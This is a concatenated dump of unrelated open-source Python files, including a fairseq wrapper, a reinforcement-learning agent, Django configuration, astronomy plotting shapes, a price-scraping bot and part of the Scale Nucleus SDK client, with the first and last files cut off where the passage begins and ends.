LICENSE file in the root directory of this source tree.\n\"\"\"\nData pre-processing: build vocabularies and binarize training data.\n\"\"\"\n\nfrom fairseq_cli.preprocess import cli_main\n\nif __name__ == '__main__':\n cli_main()\n", "source": "baoguangsheng/g-transformer", "license": "MIT"} {"text": "import codecs\nimport glob\nimport os\nimport re\nfrom typing import List, Tuple\n\n_OUTFORMATION_LINE_PATTERN = re.compile(r'^\\s*time:([0-9\\\\.]+)\\s+outFormation:([0-9]+)\\s+totalsize:([0-9]+)\\s*$')\n\n\ndef parse_outformation_line(line: str) -> Tuple[float, int, int]:\n match = _OUTFORMATION_LINE_PATTERN.fullmatch(line)\n return float(match[1]), int(match[2]), int(match[3])\n\n\ndef find_outformation_in_directory(directory: str):\n matchings = glob.glob1(directory, 'outformation_*')\n if matchings:\n return os.path.join(directory, matchings[0])\n else:\n raise FileNotFoundError(f'No outformation file found in {repr(directory)}.')\n\n\ndef load_outformation(outformation_file: str) -> List[Tuple[float, int, int]]:\n with codecs.open(outformation_file, 'r') as f:\n return [parse_outformation_line(line.strip()) for line in f.readlines()]\n\n\ndef load_outformation_in_directory(directory: str) -> List[Tuple[float, int, int]]:\n return load_outformation(find_outformation_in_directory(directory))\n", "source": "HansBug/dgdvapp", "license": "Apache-2.0"} {"text": "import numpy as np\nfrom baselines.ecbp.agents.buffer.lru_knn_combine_bp import LRU_KNN_COMBINE_BP\nfrom baselines.ecbp.agents.buffer.lru_knn_count_gpu_fixmem import LRU_KNN_COUNT_GPU_FIXMEM\nfrom baselines.ecbp.agents.graph.model import *\nimport tensorflow as tf\nfrom baselines.ecbp.agents.graph.build_graph_dueling import *\nfrom baselines import logger\nfrom baselines.ecbp.agents.graph.build_graph_contrast_target import *\n\nimport copy\nimport logging\n\n\nclass ECAgent(object):\n def __init__(self, model_func, exploration_schedule, obs_shape, lr=1e-4, buffer_size=1000000,\n num_actions=6, latent_dim=32,\n gamma=0.99, knn=4,\n tf_writer=None):\n self.ec_buffer = [LRU_KNN_COUNT_GPU_FIXMEM(buffer_size, latent_dim, \"game\", a, num_actions, knn) for a in\n range(num_actions)]\n self.obs = None\n self.z = None\n self.state_tp1 = None\n self.writer = tf_writer\n self.sequence = []\n self.gamma = gamma\n self.num_actions = num_actions\n self.exploration_schedule = exploration_schedule\n self.latent_dim = latent_dim\n self.knn = knn\n self.steps = 0\n self.logger = logging.getLogger(\"ec\")\n self.heuristic_exploration = False\n self.loss_type = [\"contrast\"]\n input_type = U.Uint8Input\n self.hash_func, _, _, _, _ = build_train_contrast_target(\n make_obs_ph=lambda name: input_type(obs_shape, name=name),\n model_func=model_func,\n num_actions=num_actions,\n optimizer=tf.train.AdamOptimizer(learning_rate=lr, epsilon=1e-4),\n gamma=gamma,\n grad_norm_clipping=10,\n latent_dim=latent_dim,\n loss_type=self.loss_type\n )\n # self.hash_func, _, _ = build_train_dueling(\n # make_obs_ph=lambda name: U.Uint8Input(obs_shape, name=name),\n # model_func=model_func,\n # q_func=model,\n # imitate=False,\n # num_actions=num_actions,\n # optimizer=tf.train.AdamOptimizer(learning_rate=lr, epsilon=1e-4),\n # gamma=gamma,\n # grad_norm_clipping=10,\n # )\n self.finds = [0, 0]\n self.eval_epsilon = 0.02\n\n def log(self, *args, logtype='debug', sep=' '):\n getattr(self.logger, logtype)(sep.join(str(a) for a in args))\n\n def act(self, obs, is_train=True):\n # if not is_train:\n self.log(\"obs\",obs)\n self.obs = obs\n z = np.array(self.hash_func(np.array(obs))).reshape((self.latent_dim,))\n self.z = z\n self.steps += 1\n # instance_inr = np.max(self.exploration_coef(self.count[obs]))\n epsilon = max(0, self.exploration_schedule.value(self.steps)) if is_train else self.eval_epsilon\n if np.random.random() < epsilon:\n action = np.random.randint(0, self.num_actions)\n # print(\"random\")\n if not is_train:\n self.log(\"eval\", \"random\",action)\n else:\n self.log(\"training\", \"random\",action)\n return action\n else:\n extrinsic_qs = np.zeros((self.num_actions, 1))\n intrinsic_qs = np.zeros((self.num_actions, 1))\n finds = np.zeros((self.num_actions,))\n # print(self.num_actions)\n for a in range(self.num_actions):\n extrinsic_qs[a], intrinsic_qs[a], find = self.ec_buffer[a].act_value(np.array([z]), self.knn)\n finds[a] = find\n if is_train and self.heuristic_exploration:\n q = extrinsic_qs + intrinsic_qs\n else:\n q = extrinsic_qs\n self.finds[0] += sum(finds)\n self.finds[1] += self.num_actions\n q_max = np.max(q)\n max_action = np.where(q >= q_max - 1e-7)[0]\n action_selected = np.random.randint(0, len(max_action))\n if not is_train:\n self.log(\"eval\")\n self.log(\"capacity\", [self.ec_buffer[a].curr_capacity for a in range(self.num_actions)])\n self.log(\"ec_action_selection\", finds, q, q_max, max_action)\n return int(max_action[action_selected])\n\n def observe(self, action, reward, state_tp1, done, train=True):\n if not train:\n return\n self.sequence.append((copy.deepcopy(self.z), action, reward, done))\n self.state_tp1 = state_tp1\n if done:\n find_summary = tf.Summary(\n value=[tf.Summary.Value(tag=\"find rate\", simple_value=self.finds[0] / (self.finds[1] + 1e-9))])\n self.writer.add_summary(find_summary, global_step=self.steps)\n self.finds = [0, 0]\n if done and train:\n self.update_sequence()\n\n def update_sequence(self):\n exRtn = [0]\n inRtn = [0]\n inrtd = 0\n for z, a, r, done in reversed(self.sequence):\n exrtd = self.gamma * exRtn[-1] + r\n inrtd = self.gamma * inRtn[-1] + inrtd\n\n exRtn.append(exrtd)\n inRtn.append(inrtd)\n q, inrtd = self.ec_buffer[a].peek(z, exrtd, inrtd, True)\n # self.log(\"update sequence\", q, exrtd, a)\n if q is None: # new action\n self.ec_buffer[a].add(z, exrtd, inrtd)\n inrtd = self.ec_buffer[a].beta\n self.sequence = []\n return exRtn, inRtn\n", "source": "MouseHu/emdqn", "license": "MIT"} {"text": "from django.apps import AppConfig\n\n\nclass DeepSiteConfig(AppConfig):\n name = 'deep_site'\n", "source": "rubelbd82/deep_neural_network_DJANGO", "license": "Apache-2.0"} {"text": "import geopandas\r\n\r\nfrom GeneticCropGenerator.PlotArea import PlotArea\r\nfrom GeneticCropGenerator.Gen import Crop, Gen\r\nfrom GeneticCropGenerator.Plant import *\r\n\r\n\r\ndef print_prod(plants, desire_prod):\r\n gen_plants = Gen.process_prod(plants)\r\n for tplant in gen_plants:\r\n desprod_val = desire_prod.get(tplant, 0)\r\n print(f\"{tplant.name}: {gen_plants[tplant]}/{desprod_val}\")\r\n # print(\"Desire production: \", desire_prod)\r\n # print(\"Production: \", Gen.process_prod(plants))\r\n\r\n\r\nmplts = geopandas.read_file(\"./data/san_vincenc_site_division.shp\")\r\n\r\nexpected_prods = [\r\n {Tomato: 85, Marigold: 15},\r\n {Olive: 40, Garlic: 60},\r\n {Olive: 30, Oignon: 70},\r\n {Olive: 10, Potato: 80, Oignon: 10},\r\n]\r\n\r\ncrops = []\r\nid_exp = 0\r\nfor mplt in mplts['geometry']:\r\n if mplt is not None:\r\n crops.append(Crop(\r\n crop_shape=mplt,\r\n expected_production={Olive: 3, Garlic: 5}\r\n ))\r\n\r\n if id_exp == len(expected_prods) - 1:\r\n id_exp = 0\r\n else:\r\n id_exp += 1\r\n\r\nexpected_prod = {\r\n Potato: 25,\r\n Tomato: 25,\r\n # Marigold: 10,\r\n Olive: 7,\r\n Oignon: 15,\r\n Garlic: 15,\r\n}\r\n\r\n\r\n\r\n\r\ncrop1 = Crop(\r\n crop_shape=Crop.square_polygon(0, 10),\r\n expected_production={Tomato: 1, Marigold: 2}\r\n # crop_shape=Polygon([(0, 0), (2, 40), (20, 36), (38, 20), (34, 2)]),\r\n # animal_shape=Polygon([(8, -3), (4, 10), (8, 43), (12, 43), (20, 25), (23, -3)])\r\n)\r\n\r\ncrop2 = Crop(\r\n crop_shape=Crop.square_polygon(10, 20),\r\n expected_production={Olive: 3, Garlic: 5}\r\n # crop_shape=Polygon([(0, 0), (2, 40), (20, 36), (38, 20), (34, 2)]),\r\n # animal_shape=Polygon([(8, -3), (4, 10), (8, 43), (12, 43), (20, 25), (23, -3)])\r\n)\r\n\r\ngen = Gen(crop=None, n_plants=10, n_population=10, n_gen=2, n_hof=1, verbose=True)\r\n#gen = Gen(crop=None, n_plants=100, n_population=300, n_gen=5, n_hof=1, verbose=True)\r\n\r\n\r\nplot = PlotArea()\r\n\r\ncrops = [crop1, crop2]\r\nfor crp in crops:\r\n gen.crop = crp\r\n plants = gen.run()[0]\r\n\r\n plot.plot_crop(crp, plants)\r\n\r\n# plot.show()\r\nplot.savefig(\"img/san_vincenc_gen_crop_white\")\r\n", "source": "TugdualSarazin/GeneticCropGenerator", "license": "Apache-2.0"} {"text": "import pkg_resources\nimport numpy as np\nfrom astropy import units as u\n\nfrom ginga.util import wcs\nfrom ginga.canvas.types.all import Polygon, Path\nfrom ginga.util.bezier import get_bezier\n\nfrom hcam_widgets.compo.utils import field_stop_centre, gtc_focalplane_equivalencies\n\n\nclass CCDWin(Polygon):\n def __init__(self, ra_ll_deg, dec_ll_deg, xs, ys,\n image, **params):\n \"\"\"\n Shape for drawing ccd window\n\n Parameters\n ----------\n ra_ll_deg : float\n lower left coordinate in ra (deg)\n dec_ll_deg : float\n lower left y coord in dec (deg)\n xs : float\n x size in degrees\n ys : float\n y size in degrees\n image : `~ginga.AstroImage`\n image to plot Window on\n \"\"\"\n points_wcs = (\n (ra_ll_deg, dec_ll_deg),\n wcs.add_offset_radec(ra_ll_deg, dec_ll_deg, xs, 0.0),\n wcs.add_offset_radec(ra_ll_deg, dec_ll_deg, xs, ys),\n wcs.add_offset_radec(ra_ll_deg, dec_ll_deg, 0.0, ys)\n )\n self.points = [image.radectopix(ra, dec) for (ra, dec) in points_wcs]\n super(CCDWin, self).__init__(self.points, **params)\n self.name = params.pop('name', 'window')\n\n\nclass CompoPatrolArc(Path):\n def __init__(self, ra_ctr_deg, dec_ctr_deg, image, **params):\n \"\"\"\n Shape for drawing allowed control arc, made using Bezier curves\n\n Parameters\n ----------\n ra_ctr_deg, dec_ctr_deg : float\n Tel pointing center (deg)\n image : `~ginga.AstroImage`\n image to plot Window on\n \"\"\"\n # assume patrol arc of 90 degrees\n theta = np.linspace(-65, 65, 40)*u.deg\n\n # circular arc, swapping dec sign\n X, Y = field_stop_centre(theta)\n points = u.Quantity([X, -Y])\n # transform to shape (N, 2) and units of degrees\n with u.set_enabled_equivalencies(gtc_focalplane_equivalencies):\n points = points.T.to_value(u.deg)\n # add offsets to pointing center\n points_wcs = [\n wcs.add_offset_radec(ra_ctr_deg, dec_ctr_deg, p[0], p[1])\n for p in points\n ]\n\n self.points = [image.radectopix(ra, dec) for (ra, dec) in points_wcs]\n self.bezier = get_bezier(30, self.points)\n super(CompoPatrolArc, self).__init__(self.points, **params)\n self.name = params.pop('name', 'patrol_arc')\n\n\nclass CompoFreeRegion(Polygon):\n def __init__(self, ra_ctr_deg, dec_ctr_deg, image, **params):\n \"\"\"\n Shape for drawing unvignetted area available to patrol arm\n\n Parameters\n ----------\n ra_ctr_deg, dec_ctr_deg : float\n Tel pointing center (deg)\n image : `~ginga.AstroImage`\n image to plot Window on\n \"\"\"\n guider_file = pkg_resources.resource_filename('hcam_finder',\n 'data/guider_hole_arcseconds.txt')\n points = np.loadtxt(guider_file) / 36000\n points_wcs = [wcs.add_offset_radec(ra_ctr_deg, dec_ctr_deg, p[0], p[1]) for p in points]\n self.points = [image.radectopix(ra, dec) for (ra, dec) in points_wcs]\n self.bezier = get_bezier(30, self.points)\n super(CompoFreeRegion, self).__init__(self.bezier, **params)\n self.name = params.pop('name', 'compo_free_region')\n", "source": "HiPERCAM/hcam_finder", "license": "MIT"} {"text": "import numpy as np\nimport boto3, json, time, datetime, sys\nimport matplotlib.pyplot as plt\nfrom pytz import timezone\nfrom CloudExtras import array_get\n\n# Read parameters\nwith open('parameters.json', 'r') as filename:\n parameters = json.load(filename)\n\n# EC2 bare metal results\nkey = 'timings_omp_bare_metal/strong_scaling_omp_bare_metal_numthreads_'\nnum_cores = np.array([1, 2, 4, 8, 16, 24])\nnum_files = 9\nT = []\n\nfor i in range(num_files):\n for run in range(3):\n T = array_get(parameters['bucket_name'], key + str(num_cores[i]) + '_run_' + str(run))\n T.dump('results_bare_metal/timings_strong_scaling_omp_' + str(num_cores[i]) + '_run_' + str(run))\n", "source": "slimgroup/ServerlessImagingAWS", "license": "MIT"} {"text": "import requests\nfrom bs4 import BeautifulSoup\n\nclass PriceBot(object):\n URL = 'https://www.johnlewis.com/house-by-john-lewis-hinton-office-chair/p2083183'\n\n def get_price(self):\n r = requests.get(self.URL)\n content = r.content\n soup = BeautifulSoup(content, \"html.parser\")\n element = soup.find(\"span\", {\"itemprop\": \"price\", \"class\": \"now-price\"})\n string_price = element.text.strip() # \u00a3129.00\n price_without_symbol = string_price[1:]\n price = float(price_without_symbol)\n return price\n# if price < 200:\n# print('You should buy the chair!')\n# print('The current price is {}'.format(price))\n# else:\n# print('Do not buy, it\\'s too expensive!')", "source": "bellevuecodeschool/slack_alert", "license": "MIT"} {"text": "\"\"\"config URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom django.views.generic import DetailView\n\nfrom .views import photo_list, CreateView, DeleteView, PhotoDeleteView, PhotoUploadView, PhotoUpdateView\nfrom .models import Photo\n\n\n\n# app_name \uc740 namespace\ub85c \uc0ac\uc6a9\ub418\ub294 \uac12. \ud15c\ud50c\ub9bf\uc5d0\uc11c url \ud15c\ud50c\ub9bf \ud0dc\uadf8\ub97c \uc0ac\uc6a9\ud560\ub54c app_name \uac12\uc774 \uc124\uc815 \ub418\uc5b4 \uc788\ub2e4\uba74\n# [app_name:URL\ud328\ud134\uc774\ub984] \ud615\ud0dc\ub85c \uc0ac\uc6a9\n\n# \uc81c\ub108\ub9ad \ubdf0\uc778 DetailView \ub294 urls.py\uc5d0\uc11c \uc778\ub77c\uc778 \ucf54\ub4dc\ub85c \uc791\uc131 \uac00\ub2a5. path \ud568\uc218\uc5d0 \uc778\uc218\ub85c \uc804\ub2ec\ud560 \ub54c\ub294 as_view\uc548\uc5d0 \ud074\ub798\uc2a4 \ubcc0\uc218\ub4e4\uc744 \uc124\uc815\ud574 \uc0ac\uc6a9\n\napp_name = 'photo'\n\nurlpatterns = [\n path('', photo_list, name='photo_list'),\n path('detail//', DetailView.as_view(model=Photo, template_name='photo/detail.html'), name='photo_detail'),\n path('upload/', PhotoUploadView.as_view(), name='photo_upload'),\n path('delete//', PhotoDeleteView.as_view(), name='photo_delete'),\n path('update//', PhotoUpdateView.as_view(), name='photo_update'),\n]\n", "source": "djangojeng-e/mini_projects", "license": "MIT"} {"text": "\"\"\"Nucleus Python SDK. \"\"\"\n\n__all__ = [\n \"AsyncJob\",\n \"BoxAnnotation\",\n \"BoxPrediction\",\n \"CameraParams\",\n \"CategoryAnnotation\",\n \"CategoryPrediction\",\n \"CuboidAnnotation\",\n \"CuboidPrediction\",\n \"Dataset\",\n \"DatasetInfo\",\n \"DatasetItem\",\n \"DatasetItemRetrievalError\",\n \"Frame\",\n \"Frame\",\n \"LidarScene\",\n \"LidarScene\",\n \"Model\",\n \"ModelCreationError\",\n # \"MultiCategoryAnnotation\", # coming soon!\n \"NotFoundError\",\n \"NucleusAPIError\",\n \"NucleusClient\",\n \"Point\",\n \"Point3D\",\n \"PolygonAnnotation\",\n \"PolygonPrediction\",\n \"Quaternion\",\n \"Segment\",\n \"SegmentationAnnotation\",\n \"SegmentationPrediction\",\n \"Slice\",\n]\n\nimport os\nimport warnings\nfrom typing import Dict, List, Optional, Sequence, Union\n\nimport pkg_resources\nimport pydantic\nimport requests\nimport tqdm\nimport tqdm.notebook as tqdm_notebook\n\nfrom nucleus.url_utils import sanitize_string_args\n\nfrom .annotation import (\n BoxAnnotation,\n CategoryAnnotation,\n CuboidAnnotation,\n MultiCategoryAnnotation,\n Point,\n Point3D,\n PolygonAnnotation,\n Segment,\n SegmentationAnnotation,\n)\nfrom .connection import Connection\nfrom .constants import (\n ANNOTATION_METADATA_SCHEMA_KEY,\n ANNOTATIONS_IGNORED_KEY,\n ANNOTATIONS_PROCESSED_KEY,\n AUTOTAGS_KEY,\n DATASET_ID_KEY,\n DATASET_IS_SCENE_KEY,\n DEFAULT_NETWORK_TIMEOUT_SEC,\n EMBEDDING_DIMENSION_KEY,\n EMBEDDINGS_URL_KEY,\n ERROR_ITEMS,\n ERROR_PAYLOAD,\n ERRORS_KEY,\n IMAGE_KEY,\n IMAGE_URL_KEY,\n INDEX_CONTINUOUS_ENABLE_KEY,\n ITEM_METADATA_SCHEMA_KEY,\n ITEMS_KEY,\n JOB_CREATION_TIME_KEY,\n JOB_ID_KEY,\n JOB_LAST_KNOWN_STATUS_KEY,\n JOB_TYPE_KEY,\n KEEP_HISTORY_KEY,\n MESSAGE_KEY,\n MODEL_RUN_ID_KEY,\n NAME_KEY,\n NUCLEUS_ENDPOINT,\n PREDICTIONS_IGNORED_KEY,\n PREDICTIONS_PROCESSED_KEY,\n REFERENCE_IDS_KEY,\n SLICE_ID_KEY,\n STATUS_CODE_KEY,\n UPDATE_KEY,\n)\nfrom .data_transfer_object.dataset_details import DatasetDetails\nfrom .data_transfer_object.dataset_info import DatasetInfo\nfrom .dataset import Dataset\nfrom .dataset_item import CameraParams, DatasetItem, Quaternion\nfrom .deprecation_warning import deprecated\nfrom .errors import (\n DatasetItemRetrievalError,\n ModelCreationError,\n ModelRunCreationError,\n NoAPIKey,\n NotFoundError,\n NucleusAPIError,\n)\nfrom .job import AsyncJob\nfrom .logger import logger\nfrom .model import Model\nfrom .model_run import ModelRun\nfrom .modelci import ModelCI\nfrom .payload_constructor import (\n construct_annotation_payload,\n construct_append_payload,\n construct_box_predictions_payload,\n construct_model_creation_payload,\n construct_segmentation_payload,\n)\nfrom .prediction import (\n BoxPrediction,\n CategoryPrediction,\n CuboidPrediction,\n PolygonPrediction,\n SegmentationPrediction,\n)\nfrom .retry_strategy import RetryStrategy\nfrom .scene import Frame, LidarScene\nfrom .slice import Slice\nfrom .upload_response import UploadResponse\n\n# pylint: disable=E1101\n# TODO: refactor to reduce this file to under 1000 lines.\n# pylint: disable=C0302\n\n\n__version__ = pkg_resources.get_distribution(\"scale-nucleus\").version\n\n\nclass NucleusClient:\n \"\"\"Client to interact with the Nucleus API via Python SDK.\n\n Parameters:\n api_key: Follow `this guide `_\n to retrieve your API keys.\n use_notebook: Whether the client is being used in a notebook (toggles tqdm\n style). Default is ``False``.\n endpoint: Base URL of the API. Default is Nucleus's current production API.\n \"\"\"\n\n def __init__(\n self,\n api_key: Optional[str] = None,\n use_notebook: bool = False,\n endpoint: str = None,\n ):\n self.api_key = self._set_api_key(api_key)\n self.tqdm_bar = tqdm.tqdm\n if endpoint is None:\n self.endpoint = os.environ.get(\n \"NUCLEUS_ENDPOINT\", NUCLEUS_ENDPOINT\n )\n else:\n self.endpoint = endpoint\n self._use_notebook = use_notebook\n if use_notebook:\n self.tqdm_bar = tqdm_notebook.tqdm\n self._connection = Connection(self.api_key, self.endpoint)\n self.modelci = ModelCI(self.api_key, self.endpoint)\n\n def __repr__(self):\n return f\"NucleusClient(api_key='{self.api_key}', use_notebook={self._use_notebook}, endpoint='{self.endpoint}')\"\n\n def __eq__(self, other):\n if self.api_key == other.api_key:\n if self._use_notebook == other._use_notebook:\n return True\n return False\n\n @property\n def datasets(self) -> List[Dataset]:\n \"\"\"List all Datasets\n\n Returns:\n List of all datasets accessible to user\n \"\"\"\n response = self.make_request({}, \"dataset/details\", requests.get)\n dataset_details = pydantic.parse_obj_as(List[DatasetDetails], response)\n return [\n Dataset(d.id, client=self, name=d.name) for d in dataset_details\n ]\n\n @property\n def models(self) -> List[Model]:\n # TODO: implement for Dataset, scoped just to associated models\n \"\"\"Fetches all of your Nucleus models.\n\n Returns:\n List[:class:`Model`]: List of models associated with the client API key.\n \"\"\"\n model_objects = self.make_request({}, \"models/\", requests.get)\n\n return [\n Model(\n model_id=model[\"id\"],\n name=model[\"name\"],\n reference_id=model[\"ref_id\"],\n metadata=model[\"metadata\"] or None,\n client=self,\n )\n for model in model_objects[\"models\"]\n ]\n\n @property\n def jobs(\n self,\n ) -> List[AsyncJob]:\n \"\"\"Lists all jobs, see NucleusClinet.list_jobs(...) for advanced options\n\n Returns:\n List of all AsyncJobs\n \"\"\"\n return self.list_jobs()\n\n @deprecated(msg=\"Use the NucleusClient.models property in the future.\")\n def list_models(self) -> List[Model]:\n return self.models\n\n @deprecated(msg=\"Use the NucleusClient.datasets property in the future.\")\n def list_datasets(self) -> Dict[str, Union[str, List[str]]]:\n return self.make_request({}, \"dataset/\", requests.get)\n\n def list_jobs(\n self, show_completed=None, date_limit=None\n ) -> List[AsyncJob]:\n \"\"\"Fetches all of your running jobs in Nucleus.\n\n Parameters:\n show_completed: Whether to fetch completed and errored jobs or just\n running jobs. Default behavior is False.\n date_limit: Only fetch jobs that were started after this date. Default\n behavior is 2 weeks prior to the current date.\n\n Returns:\n List[:class:`AsyncJob`]: List of running asynchronous jobs\n associated with the client API key.\n \"\"\"\n # TODO: What type is date_limit? Use pydantic ...\n payload = {show_completed: show_completed, date_limit: date_limit}\n job_objects = self.make_request(payload, \"jobs/\", requests.get)\n return [\n AsyncJob(\n job_id=job[JOB_ID_KEY],\n job_last_known_status=job[JOB_LAST_KNOWN_STATUS_KEY],\n job_type=job[JOB_TYPE_KEY],\n job_creation_time=job[JOB_CREATION_TIME_KEY],\n client=self,\n )\n for job in job_objects\n ]\n\n @deprecated(msg=\"Prefer using Dataset.items\")\n def get_dataset_items(self, dataset_id) -> List[DatasetItem]:\n dataset = self.get_dataset(dataset_id)\n return dataset.items\n\n def get_dataset(self, dataset_id: str) -> Dataset:\n \"\"\"Fetches a dataset by its ID.\n\n Parameters:\n dataset_id: The ID of the dataset to fetch.\n\n Returns:\n :class:`Dataset`: The Nucleus dataset as an object.\n \"\"\"\n return Dataset(dataset_id, self)\n\n def get_model(self, model_id: str) -> Model:\n \"\"\"Fetches a model by its ID.\n\n Parameters:\n model_id: Nucleus-generated model ID (starts with ``prj_``). This can\n be retrieved via :meth:`list_models` or a Nucleus dashboard URL.\n\n Returns:\n :class:`Model`: The Nucleus model as an object.\n \"\"\"\n payload = self.make_request(\n payload={},\n route=f\"model/{model_id}\",\n requests_command=requests.get,\n )\n return Model.from_json(payload=payload, client=self)\n\n @deprecated(\n \"Model runs have been deprecated and will be removed. Use a Model instead\"\n )\n def get_model_run(self, model_run_id: str, dataset_id: str) -> ModelRun:\n return ModelRun(model_run_id, dataset_id, self)\n\n @deprecated(\n \"Model runs have been deprecated and will be removed. Use a Model instead\"\n )\n def delete_model_run(self, model_run_id: str):\n return self.make_request(\n {}, f\"modelRun/{model_run_id}\", requests.delete\n )\n\n def create_dataset_from_project(\n self, project_id: str, last_n_tasks: int = None, name: str = None\n ) -> Dataset:\n \"\"\"Create a new dataset from an existing Scale or Rapid project.\n\n If you already have Annotation, SegmentAnnotation, VideoAnnotation,\n Categorization, PolygonAnnotation, ImageAnnotation, DocumentTranscription,\n LidarLinking, LidarAnnotation, or VideoboxAnnotation projects with Scale,\n use this endpoint to import your project directly into Nucleus.\n\n This endpoint is asynchronous because there can be delays when the\n number of tasks is larger than 1000. As a result, the endpoint returns\n an instance of :class:`AsyncJob`.\n\n Parameters:\n project_id: The ID of the Scale/Rapid project (retrievable from URL).\n last_n_tasks: If supplied, only pull in this number of the most recent\n tasks. By default the endpoint will pull in all eligible tasks.\n name: The name for your new Nucleus dataset. By default the endpoint\n will use the project's name.\n\n Returns:\n :class:`Dataset`: The newly created Nucleus dataset as an object.\n \"\"\"\n payload = {\"project_id\": project_id}\n if last_n_tasks:\n payload[\"last_n_tasks\"] = str(last_n_tasks)\n if name:\n payload[\"name\"] = name\n response = self.make_request(payload, \"dataset/create_from_project\")\n return Dataset(response[DATASET_ID_KEY], self)\n\n def create_dataset(\n self,\n name: str,\n is_scene: bool = False,\n item_metadata_schema: Optional[Dict] = None,\n annotation_metadata_schema: Optional[Dict] = None,\n ) -> Dataset:\n \"\"\"\n Creates a new, empty dataset.\n\n Make sure that the dataset is created for the data type you would like to support.\n Be sure to set the ``is_scene`` parameter correctly.\n\n Parameters:\n name: A human-readable name for the dataset.\n is_scene: Whether the dataset contains strictly :class:`scenes\n ` or :class:`items `. This value is immutable.\n Default is False (dataset of items).\n item_metadata_schema: Dict defining item-level metadata schema. See below.\n annotation_metadata_schema: Dict defining annotation-level metadata schema.\n\n Metadata schemas must be structured as follows::\n\n {\n \"field_name\": {\n \"type\": \"category\" | \"number\" | \"text\"\n \"choices\": List[str] | None\n \"description\": str | None\n },\n ...\n }\n\n Returns:\n :class:`Dataset`: The newly created Nucleus dataset as an object.\n \"\"\"\n warnings.warn(\n \"The default create_dataset('dataset_name', ...) method without the is_scene parameter will be deprecated soon in favor of providing the is_scene parameter explicitly. \"\n \"Please make sure to create a dataset with either create_dataset('dataset_name', is_scene=True, ...) to upload \"\n \"DatasetItems or create_dataset('dataset_name', is_scene=False, ...) to upload \"\n \"LidarScenes.\",\n DeprecationWarning,\n )\n response = self.make_request(\n {\n NAME_KEY: name,\n DATASET_IS_SCENE_KEY: is_scene,\n ANNOTATION_METADATA_SCHEMA_KEY: annotation_metadata_schema,\n ITEM_METADATA_SCHEMA_KEY: item_metadata_schema,\n },\n \"dataset/create\",\n )\n return Dataset(response[DATASET_ID_KEY], self)\n\n def delete_dataset(self, dataset_id: str) -> dict:\n \"\"\"\n Deletes a dataset by ID.\n\n All items, annotations, and predictions associated with the dataset will\n be deleted as well.\n\n Parameters:\n dataset_id: The ID of the dataset to delete.\n\n Returns:\n Payload to indicate deletion invocation.\n \"\"\"\n return self.make_request({}, f\"dataset/{dataset_id}\", requests.delete)\n\n @deprecated(\"Use Dataset.delete_item instead.\")\n def delete_dataset_item(self, dataset_id: str, reference_id) -> dict:\n dataset = self.get_dataset(dataset_id)\n return dataset.delete_item(reference_id)\n\n @deprecated(\"Use Dataset.append instead.\")\n def populate_dataset(\n self,\n dataset_id: str,\n dataset_items: List[DatasetItem],\n batch_size: int = 20,\n update: bool = False,\n ):\n dataset = self.get_dataset(dataset_id)\n return dataset.append(\n dataset_items, batch_size=batch_size, update=update\n )\n\n def annotate_dataset(\n self,\n dataset_id: str,\n annotations: Sequence[\n Union[\n BoxAnnotation,\n PolygonAnnotation,\n CuboidAnnotation,\n CategoryAnnotation,\n MultiCategoryAnnotation,\n SegmentationAnnotation,\n ]\n ],\n update: bool,\n batch_size: int = 5000,\n ) -> Dict[str, object]:\n # TODO: deprecate in favor of Dataset.annotate invocation\n\n # Split payload into segmentations and Box/Polygon\n segmentations = [\n ann\n for ann in annotations\n if isinstance(ann, SegmentationAnnotation)\n ]\n other_annotations = [\n ann\n for ann in annotations\n if not isinstance(ann, SegmentationAnnotation)\n ]\n\n batches = [\n other_annotations[i : i + batch_size]\n for i in range(0, len(other_annotations), batch_size)\n ]\n\n semseg_batches = [\n segmentations[i : i + batch_size]\n for i in range(0, len(segmentations), batch_size)\n ]\n\n agg_response = {\n DATASET_ID_KEY: dataset_id,\n ANNOTATIONS_PROCESSED_KEY: 0,\n ANNOTATIONS_IGNORED_KEY: 0,\n ERRORS_KEY: [],\n }\n\n total_batches = len(batches) + len(semseg_batches)\n\n tqdm_batches = self.tqdm_bar(batches)\n\n with self.tqdm_bar(total=total_batches) as pbar:\n for batch in tqdm_batches:\n payload = construct_annotation_payload(batch, update)\n response = self.make_request(\n payload, f\"dataset/{dataset_id}/annotate\"\n )\n pbar.update(1)\n if STATUS_CODE_KEY in response:\n agg_response[ERRORS_KEY] = response\n else:\n agg_response[ANNOTATIONS_PROCESSED_KEY] += response[\n ANNOTATIONS_PROCESSED_KEY\n ]\n agg_response[ANNOTATIONS_IGNORED_KEY] += response[\n ANNOTATIONS_IGNORED_KEY\n ]\n agg_response[ERRORS_KEY] += response[ERRORS_KEY]\n\n for s_batch in semseg_batches:\n payload = construct_segmentation_payload(s_batch, update)\n response = self.make_request(\n payload, f\"dataset/{dataset_id}/annotate_segmentation\"\n )\n pbar.update(1)\n if STATUS_CODE_KEY in response:\n agg_response[ERRORS_KEY] = response\n else:\n agg_response[ANNOTATIONS_PROCESSED_KEY] += response[\n ANNOTATIONS_PROCESSED_KEY\n ]\n agg_response[ANNOTATIONS_IGNORED_KEY] += response[\n ANNOTATIONS_IGNORED_KEY\n ]\n\n return agg_response\n\n @deprecated(msg=\"Use Dataset.ingest_tasks instead\")\n def ingest_tasks(self, dataset_id: str, payload: dict):\n dataset = self.get_dataset(dataset_id)\n return dataset.ingest_tasks(payload[\"tasks\"])\n\n @deprecated(msg=\"Use client.create_model instead.\")\n def add_model(\n self, name: str, reference_id: str, metadata: Optional[Dict] = None\n ) -> Model:\n return self.create_model(name, reference_id, metadata)\n\n def create_model(\n self, name: str, reference_id: str, metadata: Optional[Dict] = None\n ) -> Model:\n \"\"\"Adds a :class:`Model` to Nucleus.\n\n Parameters:\n name: A human-readable name for the model.\n reference_id: Unique, user-controlled ID for the model. This can be\n used, for example, to link to an external storage of models which\n may have its own id scheme.\n metadata: An arbitrary dictionary of additional data about this model\n that can be stored and retrieved. For example, you can store information\n about the hyperparameters used in training this model.\n\n Returns:\n :class:`Model`: The newly created model as an object.\n \"\"\"\n response = self.make_request(\n 